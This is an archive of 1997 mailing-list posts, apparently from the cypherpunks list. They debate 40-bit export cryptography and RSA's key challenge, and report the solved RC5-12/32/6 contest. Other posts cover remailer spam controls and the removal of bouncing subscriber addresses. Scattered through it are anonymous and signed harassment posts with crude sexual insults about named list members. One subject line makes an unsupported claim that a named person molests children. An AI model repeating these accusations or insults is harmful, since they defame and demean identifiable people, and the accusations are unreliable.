that uses both 40 bit encryption and higher, they make their money either way...their only bias in this area is that they have their exportable software crippled in such a way as to make it useless to foreign buyers. Luckily companies in Finland, Switzerland, and Germany are starting to take up the slack and provide strong cryptographic products of their own. -- Craig ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Tue, 4 Feb 1997 12:49:25 -0500 (EST) To: infowar at infowar.com From: Bob Stratton Subject: RSA's Challenge Claims and the Real World In Infowar Digest Volume 02, Number 04, Paul Strassman writes: >In summary: The claim of exportable cryptography being totally >insecure, because it can be cracked in 3.5 hours is not >realistic. The three clues announced in the contest >would not apply under infowar conditions. > >What other clues may have been provided to Goldberg >to support private agendas and gain shrill headlines >is also a matter of speculation, but I rest my case. > >I certainly cannot assert that a 40 bit key cannot be decyphered. >However, I do not think that the RSA unqualified claims >offer full and appropriate disclosure. I feel compelled to respectfully submit what may be considered a rebuttal. In general, I tend to dismiss claims of anything being "totally" anything, but in this particular instance, I think further discussion may be warranted. I admit to being a little surprised by this tack on the part of RSA. RSA Labs (the research side of that house) has earned my respect over time by doing serious cryptological work and publishing it in a thoughtful, academic manner worthy of note. The histrionics of press releases notwithstanding, I think these comments merit further examination: I may concede that the "three clues...would not apply under infowar conditions". In doing so, I must also ask for further clarification as to exactly which infowar Mr.Strassman is referring. Given this forum's consideration of the national security implications of attack on the financial infrastructure, it seems a fair question. In any event, I question whether this is relevant within the context of the challenge, and the purposes behind it. RSA's purpose in posting this challenge was presumably to enlighten the public and others as to the _relative_ strength of currently exportable cryptosystems. I have no doubt that the agenda behind this is to encourage resistance to current U.S. policies on cryptographic export, a stance designed to maximize share value in what is admittedly a commercial venture. I'm also willing to note that I have a general distaste for INFOSEC "challenges" of any sort. I would, however, like to explore the assertion that the clues posted in the challenge were not offered in the spirit of full and fair disclosure. I will concede in any case that this was not an exhaustive, controlled study. "Challenges" such as these have a place. Within the INFOSEC environment, cryptanalytic attack appears to be one of the more reasonable areas for them. Compared to "challenges" against network "firewalls", for example, cryptanalysis is an area where there is the opportunity to adequately define the goal and to measure the result. In this case, RSA was not attempting to prove a negative, as have so many (too many) other firms offering so-called "challenges". If we restrict our focus for purposes of argument to commercially available cryptographic software, the clues become significantly less onerous and mysterious. Clue #1, the disclosure of 12-round RC5 with a 32-bit word size, is certainly the most arcane of the lot. Speaking as a former commercial software developer, I would be quite surprised if vendors would not routinely disclose information of this sort. Certainly vendors using standard algorithms would tend to be more willing to do so than those using proprietary ones, which only bolsters my later arguments, as you will see below. If we may depart for just a moment to other algorithms, almost any _standard_ implementation of an algorithm which is interoperable with other implementations would, by definition, disclose or facilitate disclosure of this sort of information, by its very nature. Again, in a commercial environment, interoperability is key (no pun intended), so it's likely that implementation details are either available, or readily deducible. Clue 2, the disclosure of key size, again meets the standards just discussed. In the case of products recently exportable from the U.S., one of two things is generally true. Either the key size is actually 40 bits, or the key size is larger than 40 bits, but steps are taken to make all key information beyond 40 bits accessible to observers of the tool. Again, in a commercial environment, this is no secret. Clue 3 is perhaps where I'm most inclined to agree with Mr. Strassman. Disclosure of known plaintext, in this case the phrase "The unknown message is:" is certainly quite serious in that it may significantly aid cryptanalytic attack. My only comment here is that in the commercial arena, interoperability demands standards, and standards define consistent protocols. Those protocols will almost always result in some manner of reproducible content, most readily exemplified by message headers in electronic mail systems. While mechanisms exist for enhanced cryptographic protection of said content, in general the commercial environment has lagged behind the military, and perhaps rightly so. In none of the aforementioned cases, however, do I see information that fundamentally invalidates the significance of RSA's Challenge TO THE CIVILIAN COMMERCIAL INFOSEC COMMUNITY. That community has serious, current INFOSEC needs, and one must question (as I know many of us do every day) to what degree we're willing to lay our economic fabric open to subversion in order to lessen the cost of intelligence collection. --Bob Stratton ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Tue, 4 Feb 1997 9:25:21 -0500 (EST) From: "A. Padgett Peterson P.E. Information Security" To: infowar at infowar.com Subject: RSA challenge Paul rote: >As I suspected (see earlier private comment), the >highly promoted RSA cracking contest offered >a number of clues that ordinarly would not be >volunteered by info-terrorists or info-criminals to >IW Defense teams. ... >Clue #3: (a giveway!) > " ... For each contest, the unknown plaintext message is preceded by three > known blocks of text that contain the 24-character phrase "The > unknown message is: .....". Those who follow my hobby may have noticed that about two years ago I began using the "3.5 hour" figure to assign a maximun value of $250 to any information sent via a 40 bit code. The advent of multiple parallel machines (via networks) capable of operating entirely out of L1 cache just made the technology available. However, such attacks do rely on known plain text for speed (final test is a simple XOR/alarm if zero. The same technology was used in Colossis back in 1944. It was just a touch slower. The simle answer is message compression prior to encryption which would make deciding when the message was broken much more difficult. Naysayers claim "there is always KPT" but this does not need to be true. - whole months of Enigma traffic went undecoded because there was no crib available but eventually human error gave the BP team a clue. Today, electronic systems can remove such errors from human hands. Personally believe that 56 bits is "good enough" today though it makes little sense from a programming standpoint not to use 64 *so long as a different key is used for every message and every message, no matter how trivial, is encrypted*. Or you could use a "shared secret" book code: a simple XOR with a digital satellite data stream transmitting compressed video should do nicely. All that is needed is to know which stream and when to start. I call that an "unwitting key provider". So as Paul says, the contest proves little except to confirm my 3.5 hour estimate (remember the gentleman in France who broke the 40 bit NS code last year and what his time was...) - but that was for equipment available several years ago. Today I use the figure of one gig kps (keys per second) for 1997 equipment per seive. A single one would break 40 bits in an average of under 10 min. DES would fall in a day to 400 in parallel. But the question remains: without KPT, how can you tell when the break occured ? Is a world of difference between an XOR and decompression. And if every message uses a differnt key... Warmly, Padgett ps WORD virus anti-virus macro is avaliable: http://www.netmind.com/~padgett/ under "Anti-Virus hobby". FreeWare. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From frissell at panix.com Mon Feb 10 11:48:47 1997 From: frissell at panix.com (Duncan Frissell) Date: Mon, 10 Feb 1997 11:48:47 -0800 (PST) Subject: Nothing Can Stop the Net Message-ID: <3.0.1.32.19970210145225.025c5d0c@panix.com> Mule Power Used to Install Fiber-Optic Cable February 10, 1997 11.54 a.m. (1654 GMT) SPRINGFIELD, Mo. (AP) -- No manner of modern mechanical technology could get over or around the rugged terrain confronting electricians trying to install fiber optic cable through the Ozarks. So they shifted their sights from high-tech to low-tech and hired Festus, Jake, Red and I.B. -- four Missouri mules -- to string 40 miles of cable through southwestern Missouri. "Today's thought is `fast and done quick and make the big money,"' said mule skinner James King, who works the mules for B&L Electrical Contractors. "A lot of people have forgot the fastest way to get through the country is on a mule or a horse." Even through city traffic, the mules are getting the job done. The idea first came about when Empire District Electric Co. was looking for contractors to install fiber optic cable. The cable was to run along the path of a power line strung in 1912. More than 80 years later, it was deemed inaccessible to vehicles in most places because of steep hills, trees or other impediments, such as chain-link fences. B&L submitted a bid based on doing the work with mules. The estimate was tricky since the company had never used mules. And if they couldn't do the job, a backup plan would have cost much more. "This is extremely rugged terrain. You couldn't get any motorized vehicles in there," said Clint Lam, manager of B&L. "You could build a road through there, but cost-wise, it would be so expensive." Empire didn't know the estimate was based on mule power. But when they learned of the idea, it seemed logical, said Darrell Wilson, Empire's telecommunications foreman. He told colleagues at a recent training seminar about the mules' success. "Everybody thought I was joking," Wilson said. "They thought I meant an ATV, some mechanical 4-wheel drive. They didn't really think it was a four-legged animal. They were a little surprised when I said, `No, I mean a real mule."' The mule skinners hook one end of the cable to an overhead pole and knot the other end to a mule's saddle. Then the animal pulls. All-terrain vehicles are prone to tipping on uneven surfaces, while mules are sure-footed and can jump creeks or chain-link fences. In fact, they worked so well in the rough stuff, they were kept on even when the line reached Springfield, the state's third-largest metropolitan area. "I think we're going to try to vote in a new position in our contract for mule skinner," crew foreman John Agee joked. Dr. Melvin Bradley, of Columbia, a retired University of Missouri professor and an expert on mules, was not surprised to learn of the mules' success. "The mule will go places, over banks and rough terrain and stand up and be able to pull that cable through where horses will have trouble," he said. Festus, at 1,250 pounds the largest of the crew, drew curious glances from motorists as he and skinner King recently hauled cable through exhaust-stained snowbanks near a busy city intersection. Festus wasn't fazed, though he was a bit trailer-sick from the 30-mile commute from Galena. "This is his first day on the job," the hard-hatted King said from the saddle where he wraps the rope or cable being pulled by the mule. Festus can tow up to 14,000 feet of cable, a load weighing more than 1 ton. Some people who saw the mules at work didn't know exactly what they were, which King found remarkable. After all, mules were made Missouri's state animal in 1995. "`Look, ma -- it's a horse!"' King said, mimicking what he's heard from children passing the work crew. "It's a good old Missouri mule." From nobody at huge.cajones.com Mon Feb 10 12:21:53 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Mon, 10 Feb 1997 12:21:53 -0800 (PST) Subject: Zero-knowledge commit Message-ID: <199702102021.MAA10026@mailmasher.com> Tim C. Mayonnaise sits at his terminal dressed in five-inch stiletto heels, fishnet stockings, a gold-lame mini-skirt, a purple halter with girdle underneath to keep in his flabby gut, a Fredericks of Hollywood padded bra also underneath the halter, a cheap Naomi Sims pink afro wig, waiting to yank his crank whenever a black man responds to one of his inane rants. \\\ (0 0) _ooO_(_)_Ooo____ Tim C. Mayonnaise From talon57 at well.com Mon Feb 10 12:26:00 1997 From: talon57 at well.com (Brian D Williams) Date: Mon, 10 Feb 1997 12:26:00 -0800 (PST) Subject: [CRYPTO] CLASSICAL CRYPTOGRAPHTY COURSE Message-ID: <199702102025.MAA00859@well.com> FOR IMMEDIATE RELEASE 6 February 1997 Aegean Park Press proudly announces publication of CLASSICAL CRYPTOGRAPHY COURSE - VOLUME II by Randall K. Nichols [LANAKI]. [ISBN: 0-89412-264-9, 1997, 464 pages, $US 40.80 ] Volume II presents Lectures 11 - 22 (of a total of twenty five) from his successful course in Classical Cryptography taught in 1995 and 1996 to 391 students via the Internet and an additional 65 via regular mail. Volume II covers polyalphabetic substitutions ciphers in the Vigenere family (Viggy, Variant, Beaufort, Porta, Gronsfeld, Portax, Gromark), decimation, principles of symmetry, isologs and superimposition solution techniques. Volume II describes the difficult aperiodic cipher systems (Interrupted key, Autoclave, Progressive, Running Key used in cipher machines) and their analysis by isomorphs, and repetitions. Cryptarithm solutions for extended bases are presented. The theory of coincidences and statistical attacks (Kappa, Chi, Phi) derived from this important theory are detailed. Transposition theory and a variety of transposition ciphers are solved (Columnar, Amsco, Myszkowski, Cadenus, Grille, Swagman, Auto-Transposition). Volume II has two chapters on the difficult cipher systems invented by the famous French cryptographer Delastelle: Foursquare, Bifid and Trifid. Volume II presents a detailed chapter on passwords, law and data protection. Volume II ends with a historical look at codes, commercial code systems, and famous cipher machines. Volume II is a potpourri of advanced topics in classical cryptography. The Cryptographic Resources and References section has been expanded to cover all phases of involvement with cryptography: cryptanalysis, history, legal, social, classical, modern, NSA, mathematical techniques, recreational, intelligence, tactical, strategic, National Defense, INFOSEC: offensive and defensive, hardware, software, standards, public key cryptography, web sources, and applicable Senate and House bills. Readers are encouraged to expand their knowledge in the many directions possible to them through this section. For orders or Information Contact: Aegean Park Press, P.O. Box 2837, Laguna Hills, Ca. 92654. Telephone: 1-800-736-3587; Fax: 1-714-586-8269. Group discounts available. REVIEW OF CLASSICAL CRYPTOGRAPHY COURSE, VOLUME I By the Honorable David Kennedy, Director of Research, NCSA. Classical Cryptography Course, Volume I. By Randall K. Nichols; published by Aegean Park Press, (714) 586-8811 (phone) (714) 586-8269 (fax); (800) 736 - 3587; 301 pages (with index); $34.80 (American Cryptogram Association members receive a 20% discount through ACA or NCSA Members receive a 10% discount if purchased from the NCSA Bookstore) In Classical Cryptography Course, Volume I, author Randall K. Nichols has created a benchmark for serious students of the science of cryptography. This is a text. It is for learning, and with it one cannot help but learn about the foundations of the science. An outgrowth of Nichols' admitted "labor of love" in the online Cryptography Courses he teaches over the Internet, Volume I creates the foundation for understanding the development of the science. The ten chapters of this volume lead the student through simple substitutions, substitutions with variants, multiliteral substitutions, xenocrypts (foreign language substitutions), cryptarithms, the Enigma machine (separate Enigma95 program disk available direct from the author) and finally to polyalphabetic substitutions. Seven chapters conclude with problems; solutions and discussions are provided in an appendix. The text is indexed with twenty-four pages of references for further study. I found Nichols' sense of the history of cryptography particularly noteworthy. The volume is liberally salted with citations from history with applications of the methods developed in the text. From Revolutionary France through the American Civil War, the Tammany Hall scandal, Revolutionary Soviet ciphers and Japanese successes against Chinese codes prior to Pearl Harbor, the text provides touchstones for student to understand and relate to. Phil Zimmermann observed in the documentation to his Pretty Good Privacy Program to "Beware of Snake Oil." Among his arguments is this anecdote: I remember a conversation with Brian Snow, a highly placed senior cryptographer with the NSA. He said he would never trust an encryption algorithm designed by someone who had not "earned their bones" by first spending a lot of time cracking codes. Where Schneier's Applied Cryptography is a crash course in some encryption protocols and algorithms in use today, Nichols' text begins the teaching of Snake Oil detection and prevention. Learning the fundamentals, developed throughout the text, brings a richer understanding of the science, it's history and insight into it's possibilities and some vulnerabilities lurking for the unwary. Nichols plans for release Volume II in the series with advanced material on from the online course which includes statistical attacks and transposition in February, 1997. Reviewer: Dave Kennedy, CISSP, is Director of Research for the National Computer Security Association, Carlisle, PA. He is a retired Army military police officer and member of NCSA, ASIS, ISSA and the Computer Security Institute. reposted from cryptography at c2.org Brian From nobody at squirrel.owl.de Mon Feb 10 13:45:30 1997 From: nobody at squirrel.owl.de (Secret Squirrel) Date: Mon, 10 Feb 1997 13:45:30 -0800 (PST) Subject: BCQ B/\ACTb COBKAM!!! Message-ID: <19970210204708.13811.qmail@squirrel.owl.de> COBKU rule!!! From ptrei at acm.org Mon Feb 10 13:49:14 1997 From: ptrei at acm.org (Peter Trei) Date: Mon, 10 Feb 1997 13:49:14 -0800 (PST) Subject: RC5-12/32/6 contest solved Message-ID: <199702101912.LAA25876@toad.com> > From: Germano Caronni > Date: Mon, 10 Feb 1997 18:52:23 +0100 (MET) > To: crypto-challenge at rsa.com > Cc: gec at acm.org, challenge at tik.ee.ethz.ch, coderpunks at toad.com > Subject: RC5-12/32/6 contest solved > challenge: RC5-32/12/6 > solution: 74 a3 53 cc 0b 19 > name: Germano Caronni et al. > address: Germano Caronni > Talstrasee 7 > CH-8102 Oberengstringen > (Switzerland) > email: gec at acm.org > phone: +41 1 6327006 > time: from start of contest until Mon Feb 10 18:52:23 1997 > method: again, massive distributed coordinated keysearch > done: Congratulations! This is the longest symmetric key ever brute forced in public. Now, onto cracking DES, which is probably easier than 56 bit RC5. I have NT/Win95/(portable C) code and executables available to US/Canadian citizens in the US/Canada. If you want a copy (I'm up to version 0.6, a late beta), then send ptrei at acm.org your: 1. Real name and residence address. 2. A statement that you are aware of and will abide by the US/Canadian export regulations. 3. A statement that you are a US/Canadian citizen, or a US Green Card holder. 4. The email address to which to send the software. I will hold this information in confidence. Peter Trei trei at process.com From dlv at bwalk.dm.com Mon Feb 10 14:06:38 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Mon, 10 Feb 1997 14:06:38 -0800 (PST) Subject: John Gilmore sexually molests small children In-Reply-To: <32FF31A9.2E04@cuckoo.com> Message-ID: Cuckoo writes: > Cuckoo (<-- Dr. Vulis 'made' me use this name.) Blaming Sandy Sandfart for his outrageous acts and forgetting about John Gilmore and Sameer parekh is like blaming Eichmann and forgetting Adolf Hitler - the great vegetarian, many of whose subordinates said at Nuremberg, "I was only following my orders!" Show some compassion, you you. :-) If C2Net folds and/or if Sameer fires Sandy for blowing the "moderation experiment", Sandy might have difficulty finding anothr job. Is he on Timmy May's "don't hire" list? --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From nobody at wazoo.com Mon Feb 10 14:57:29 1997 From: nobody at wazoo.com (Anonymous) Date: Mon, 10 Feb 1997 14:57:29 -0800 (PST) Subject: smart cards Message-ID: <199702102257.PAA15338@earth.wazoo.com> Dr.Dirtbag Vinegar K]rud[OfTheMoment's obsessive masturbation has lead to advanced degree of blindness and hairy palms. o \ o / _ o __| \ / |__ o _ \ o / o /|\ | /\ ___\o \o | o/ o/__ /\ | /|\ / \ / \ | \ /) | ( \ /o\ / ) | (\ / | / \ / \ Dr.Dirtbag Vinegar K]rud[OfTheMoment From phr at netcom.com Mon Feb 10 15:00:13 1997 From: phr at netcom.com (Paul Rubin) Date: Mon, 10 Feb 1997 15:00:13 -0800 (PST) Subject: sci.crypt archive? Message-ID: <199702102300.PAA06838@netcom19.netcom.com> Is anyone on cypherpunks archiving sci.crypt? I'd be interested in getting hold of some articles from some years back... thanks From roach_s at alph.swosu.edu Mon Feb 10 15:00:34 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Mon, 10 Feb 1997 15:00:34 -0800 (PST) Subject: this has gone on long enough Message-ID: <199702102300.PAA28316@toad.com> As of sometime in the last 96 hours I have been forcefully unsubscribed from this list. This action was not of my free will and not one that I think was perpretrated by those in charge of the list. (I got a response from majordomo concerning who was on and my name wasn't) As I have heard from, and replied to some, others who were forcefully subscribed to cypherpunks, I can only assume that this is part of the same campaign. Please send me any copies of majordomo activity involving my address that was sent in the last 96 hours so that I can determine the culprit myself. I had no intention of removing myself from the list and intend to maintain a member, at least until a superior system with sufficient load is developed. As I just now resubscribed to the list (unedited, although I know that the moderation experiment has ended), I may not see any immediate replies, so please cc me. As to my check with majordomo, I was not checking to see if I had been unsubscribed, but to see if the unedited list still existed. since I stopped receiving mail shortly after, I assumed, falsely, that the unedited list subscribers had been merely dropped. From roach_s at alph.swosu.edu Mon Feb 10 15:13:48 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Mon, 10 Feb 1997 15:13:48 -0800 (PST) Subject: this has gone on long enough Message-ID: <199702102313.PAA28847@toad.com> At 03:00 PM 2/10/97 -0800, I wrote: >As of sometime in the last 96 hours I have been forcefully unsubscribed from >this list. This action was not of my free will and not one that I think was ... I forgot to check my mail before sending this. This is not to say that there was mail there, merely that eudora verifies mail by password. Since I had not checked my mail, the last message was unverified. This is to verify it. I sent it, I admit it. From rah at shipwright.com Mon Feb 10 16:29:31 1997 From: rah at shipwright.com (Robert Hettinga) Date: Mon, 10 Feb 1997 16:29:31 -0800 (PST) Subject: Teledesic Looks At SS-18's Message-ID: --- begin forwarded text Sender: investor at LunaCity.com To: "Space Investors Mailing List" From: Michael_Wallis at sec.sel.sony.com Reply-To: "Space Investors Mailing List" Date: Mon, 10 Feb 1997 11:59:44 -0800 Organization: LunaCity BBS - (Clan Zen Relay Network) Mountain View, CA Subject: Teledesic Looks At SS-18's X-Mailserver: Waffle File Server (WFS), Release 3.2.ag X-Article: 285 Teledesic Might Launch With Converted SS-18s Teledesic Corp. is talking with a newly formed Russian-Ukrainian group about launching up to 204 Teledesic satellites into low Earth orbit aboard converted SS-18 missiles. The Dnepr rocket is backed by the Russian and Ukrainian governments. Their space agencies are partners in a joint-venture company to sell commercial launch services. Askond of Moscow and Ukraine's Yuzhnoye State Design Bureau are marketing the Dnepr. Teledesic, a U.S. telecommunications company, plans to place about 900 satellites in space. Michael ------------------------------------------------------------------------- Michael Wallis, Computer Consultant Work: mwallis at sec.sel.sony.com http: //www.wallis.com/ Home: mwallis at wallis.com --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From gnu at toad.com Mon Feb 10 16:43:03 1997 From: gnu at toad.com (John Gilmore) Date: Mon, 10 Feb 1997 16:43:03 -0800 (PST) Subject: this has gone on long enough In-Reply-To: Message-ID: <199702110042.QAA02191@toad.com> Sean Roach said: > As of sometime in the last 96 hours I have been forcefully unsubscribed from > this list. This action was not of my free will and not one that I think was > perpretrated by those in charge of the list. Everybody relax, take a deep breath, and calm down a bit. Paranoia seems epidemic on the list these days. I removed your address from the mailing list because it was producing a bounce message for every message to cypherpunks. I regularly remove addresses when this occurs; the alternative is to receive thousands of bounce messages each day from non-working addresses. I'll append the set of addresses that I removed on the same day as you, for your edification. I'll also enclose one of the bounces. If you fix your mail so it doesn't bounce, you are welcome to re-subscribe. John Gilmore 1997/2/9 - gnu - bounces snowdog at iconn.net (cp-ann) se03565 at els.url.es (cp-ann) drjarmon at ingr.com (cp-ann) ycz at alpha4.cs.nthu.edu.tw yu123110 at yorku.ca bishop.trish at sympatico.ca 106076.1155 at compuserve.com (by request) security at harter.pg.md.us omega at bigeasy.com roach_s at alph.swosu.edu (cp-unedited) lupus at hempseed.com (cp-ann) THRPWC at smtpgate.lfwc.lockheed.com al.tan at usa.net vickeryk at tyrell.net crash at eramp.net phreaker at scholars.bellevue.edu alexc at firefly.net malaficia at mindspring.com BadAppleDH at aol.com otsge_mail at usa.net (for bounces re mecca_inc at msn.se) under at ground.net >From MAILER-DAEMON Sun Feb 9 20:03:36 1997 Received: from alph.swosu.edu (alph.swosu.edu [164.58.32.9]) by toad.com (8.7.5/8.7.3) with SMTP id UAA17045; Sun, 9 Feb 1997 20:03:33 -0800 (PST) Message-Id: <199702100403.UAA17045 at toad.com> Date: Sun, 9 Feb 1997 22:03:48 -0600 (CST) From: Postmaster at alph.swosu.edu Subject: Undeliverable Mail To: Bad address -- Error -- Message too old: %MAIL-E-SENDERR, error sending to user ROACH_S -MAIL-W-WRITEERR, error writing DKA0:[STDUSERS.ROACH_S]MAIL.MAI -RMS-E-EXT, ACP file extend failed -SYSTEM-F-EXDISKQUOTA, disk quota exceeded -PLI-F-NOMSG, Message number 001EBB8C Start of returned message Received: from toad.com by alph.swosu.edu with SMTP; Sun, 9 Feb 1997 18:03:43 -0600 (CST) Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id PAA11855; Sun, 9 Feb 1997 15:55:29 -0800 (PST) Received: from mail.pacifier.com (root at mail.pacifier.com [199.2.117.164]) by toad.com (8.7.5/8.7.3) with ESMTP id PAA11850; Sun, 9 Feb 1997 15:55:26 -0800 (PST) Received: from ip250.van8.pacifier.com (ip250.van8.pacifier.com [206.163.4.250]) by mail.pacifier.com (8.8.5/8.8.4) with SMTP id PAA12294 for ; Sun, 9 Feb 1997 15:55:23 -0800 (PST) Message-Id: <199702092355.PAA12294 at mail.pacifier.com> X-Sender: jimbell at mail.pacifier.com X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sun, 09 Feb 1997 15:53:43 -0800 To: cypherpunks at toad.com From: jim bell Subject: ComLaw> URGENT!! SET UP IN PROGRESS!! (fwd) Sender: owner-cypherpunks at toad.com Precedence: bulk I'm forwarding this from the commonlaw list because of the usage of the name, "cypherpunks." ... From dlv at bwalk.dm.com Mon Feb 10 17:40:47 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Mon, 10 Feb 1997 17:40:47 -0800 (PST) Subject: BCQ B/\ACTb COBKAM!!! In-Reply-To: <19970210204708.13811.qmail@squirrel.owl.de> Message-ID: Secret Squirrel writes: > COBKU rule!!! _ HA XYU COBKOB!!! Lying cocksucker John Gilmore sodomizes waterfowl. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Mon Feb 10 18:00:10 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Mon, 10 Feb 1997 18:00:10 -0800 (PST) Subject: this has gone on long enough In-Reply-To: <199702110042.QAA02191@toad.com> Message-ID: John Gilmore writes: > Everybody relax, take a deep breath, and calm down a bit. Paranoia seems > epidemic on the list these days. Given the recent activities by John Gilmore, extreme mistrust is in order. John, you are a lying asshole and your reputation is shit. By the way: a number of people asked me for the references on some of the new codes which I believe will replace factorization. Check out US Patent 5,577,124, "A Multi-Purpose High Speed Cryptographically Secure Sequence Generator Based on One-Way Zeta Functions". Very exciting reading. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From nobody at huge.cajones.com Mon Feb 10 18:22:07 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Mon, 10 Feb 1997 18:22:07 -0800 (PST) Subject: PRNG Message-ID: <199702110222.SAA29362@mailmasher.com> Here, Timmy Mayo descends into total inanity. He should have a cold shower and/or a Turkish coffee. ---- '@ *> Timmy Mayo |\ 7 / `-- _ From roach_s at alph.swosu.edu Mon Feb 10 18:25:59 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Mon, 10 Feb 1997 18:25:59 -0800 (PST) Subject: this has gone on long enough Message-ID: <199702110225.SAA04917@toad.com> At 04:42 PM 2/10/97 -0800, John Gilmore wrote: >Sean Roach said: >> As of sometime in the last 96 hours I have been forcefully unsubscribed from >> this list. This action was not of my free will and not one that I think was >> perpretrated by those in charge of the list. > >Everybody relax, take a deep breath, and calm down a bit. Paranoia seems >epidemic on the list these days. > >I removed your address from the mailing list because it was producing >a bounce message for every message to cypherpunks. I regularly >remove addresses when this occurs; the alternative is to receive >thousands of bounce messages each day from non-working addresses. >I'll append the set of addresses that I removed on the same day >as you, for your edification. > Thank you for the explanation. I had discounted this as a reason as I normally get some warning from the VAX before something like this would be a threat. (My mail won't compress and I have to go in and do it manually.) I had assumed that since I had no trouble with compression that that wasn't the answer. I apologise for jumping to conclusions and I hope that I can check my mail more often. (Only a real hassle during weekends when I am called home from school.) Thanks again for the reassurance. BTW, now that the moderation experiment is over, how do you intend to integrate the lists? Are you going to combine them? Are you going to run them through a filter to eliminate duplications? Are you going to give any warning before the unedited list is eliminated? (no longer needed, since the main list is now a duplicate.) Thanks again, I am naturally suspicious. That's "one" of the reasons that I subscribed to this list to begin with. From dekkard at sprynet.com Mon Feb 10 19:03:23 1997 From: dekkard at sprynet.com (Derrick Storren) Date: Mon, 10 Feb 1997 19:03:23 -0800 (PST) Subject: Interesting Survey on Computer Security Message-ID: <32FFE1C0.4FE3@sprynet.com> This artilce has some interesting info on how bad infosec on the web is. ---DS From nobody at huge.cajones.com Mon Feb 10 19:26:05 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Mon, 10 Feb 1997 19:26:05 -0800 (PST) Subject: 40-bit encryption keys Message-ID: <199702110326.TAA08826@mailmasher.com> Derogatory L[oathe] Vilus K[ankersore] Of The Minute will fuck anything that moves, but he'd rather be fucking his own daughter's prepubescent body. \ o/\_ Derogatory L[oathe] Vilus K[ankersore] Of The Minute <\__,\ '\, | From shamrock at netcom.com Mon Feb 10 19:51:45 1997 From: shamrock at netcom.com (Lucky Green) Date: Mon, 10 Feb 1997 19:51:45 -0800 (PST) Subject: ping Message-ID: <3.0.32.19970210195254.006cb21c@192.100.81.136> ping -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From stewarts at ix.netcom.com Mon Feb 10 20:00:10 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Mon, 10 Feb 1997 20:00:10 -0800 (PST) Subject: lead remailer is shut down In-Reply-To: <199702071958.LAA18779@peregrine.eng.sun.com> Message-ID: <3.0.1.32.19970210183230.002ed8f0@popd.ix.netcom.com> At 11:58 AM 2/7/97 -0800, Ed Falk wrote: >Can't remailers be written with basic spam safeguards? I.e. no mass >crossposts, limited # of posts by each individual client per day, etc.? Most remailers have some basic spam safeguards, typically how many messages per day or per session or whatever. They also implement blocking on specific source or destinations, which makes it easier to stop known spam sources and reduce hassle for people who don't want to be spammed. Limited number of posts per source or per destination are less useful, since people use chained remailers - most messages will have a remailer as either the source, destination, or both, so it's fairly common to have lots of messages from one source. Mass crossposts aren't all that bad; if you're running a decent newsreader you'll only see that kind of spam once. The bad ones are multiple identical or nearly-identical messages posted to one or a few newsgroups each, which are harder to detect and much more annoying to the reader. On the other hand, NoCeMs can catch them, if anybody's sending and using them. I don't know how many people have the capability to block on Subject: or message content; I remember getting bouncemails for things that had variants on M AK E M O N E Y F A S T in them, so there are or were other remailers that block those. It's hard to find a good definition of spam, and hard to implement it without keeping lots of extra records you'd probably rather not keep, and spammers who are willing to do work can find out your limits, especially if they're in a policy document somewhere, and evade them, sending as much through each remailer as fits under the radar. Fortunately, most spammers don't bother. Back when I was running a remailer, it was a modified Ghio2 version; I'd fixed some bugs in it, and took the spam detector behavior from highly rude (shutting itself down quietly) to mildly rude (shutting itself down noisily); the basic model was to stop entirely under big spam attacks and let a human fix it up, rather than trying to resolve them subtlely, which is more appropriate for small spamming. The advantage of this approach is that you don't have mysterious message losses; it's all or nothing. (Well, you still get some mysterious losses, but mostly from bugs or interactions with other types of remailers.) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From toto at sk.sympatico.ca Mon Feb 10 21:38:01 1997 From: toto at sk.sympatico.ca (Toto) Date: Mon, 10 Feb 1997 21:38:01 -0800 (PST) Subject: [Fwd: FWD Adm Humor] Message-ID: <33001458.39FC@sk.sympatico.ca> An embedded message was scrubbed... From: unknown sender Subject: no subject Date: no date Size: 2721 URL: From harka at nycmetro.com Mon Feb 10 22:06:08 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Mon, 10 Feb 1997 22:06:08 -0800 (PST) Subject: Consumer Privacy URL... Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Forwarded message: In> Subject: Consumer Privacy Online In> The January issue of the Computer Law Observer discusses privacy of In> online consumer information. The article is called "Your clickstream In> is showing" and is based upon a report issued by the FTC in January. In> The article can be found under "Current Issue" at In> http://www.lawcircle.com/observer In> There is also an announcement at the site for a new weekly service In> called the Computer Law Observerpro, which provides selected weekly In> articles discussing computer, technology and cyberlaw issues. 